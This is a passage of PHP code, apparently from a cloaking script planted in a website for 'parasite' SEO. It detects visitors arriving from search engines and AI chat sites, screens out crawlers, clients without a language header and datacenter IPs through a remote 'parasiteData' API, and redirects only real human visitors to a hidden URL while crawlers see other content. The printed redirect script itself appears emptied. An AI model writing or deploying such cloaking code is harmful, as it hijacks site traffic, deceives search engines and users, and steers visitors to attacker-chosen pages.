h('/' . $cloaker->getBlockedUserAgents() . '/i', $ua); } } if (!function_exists('isRealHumanForRedirect')) { function isRealHumanForRedirect() { return !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']); } } if (!function_exists('getVisitorIpForRedirect')) { function getVisitorIpForRedirect() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return trim($_SERVER['HTTP_CLIENT_IP']); } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($ips[0]); } return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; } } if (!function_exists('isDatacenterIpForRedirect')) { function isDatacenterIpForRedirect($ip) { if (empty($ip) || !defined('API_DOMAIN') || API_DOMAIN === '' || !defined('API_KEY') || API_KEY === '' || filter_var($ip, FILTER_VALIDATE_IP) === false) { return false; } $gateway = 'https://' . API_DOMAIN; $url = $gateway . '/api/parasiteData/isDatacenter?ip=' . urlencode($ip); $origin = defined('ASITE_DOMAIN') ? ASITE_DOMAIN : $gateway; $response = parasiteHttpGet($url, array('X-API-Key: ' . API_KEY, 'Origin: ' . $origin), 2); if ($response === false) { return false; } $data = json_decode($response, true); return is_array($data) && !empty($data['data']['is_datacenter']); } } $cloaker = new Cloaker(); $blocked = $cloaker->check(); if (!$blocked) { $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $fromSearch = (bool) preg_match('/google|bing|yahoo|baidu|duckduckgo|yandex|aol|ask|sogou|so\.com|ecosia|startpage|naver|daum|seznam|qihoo|sm\.cn|hao123|rambler|mail\.ru|soso|360\.cn|qwant|yippy|ixquick|gigablast|excite|lycos|webcrawler|infospace|dogpile|metacrawler|chatgpt|openai|perplexity|claude\.ai|anthropic|copilot|gemini\.google/i', $referer); $fromWaf = !$fromSearch && !empty($_COOKIE['_imt']); if ($fromSearch || $fromWaf) { $redirectUrl = $cloaker->getRedirectUrl(); if (!empty($redirectUrl)) { if (isCrawlerForRedirect($cloaker)) { } elseif (!isRealHumanForRedirect()) { } elseif ($fromSearch && isDatacenterIpForRedirect(getVisitorIpForRedirect())) { } else { $jsUrl = json_encode((string) $redirectUrl, JSON_HEX_TAG | JSON_HEX_AMP | JSON_UNESCAPED_SLASHES); if ($jsUrl !== false) { $cloaker->is_human_from_search = true; echo ''; exit; } } } } echo ''; }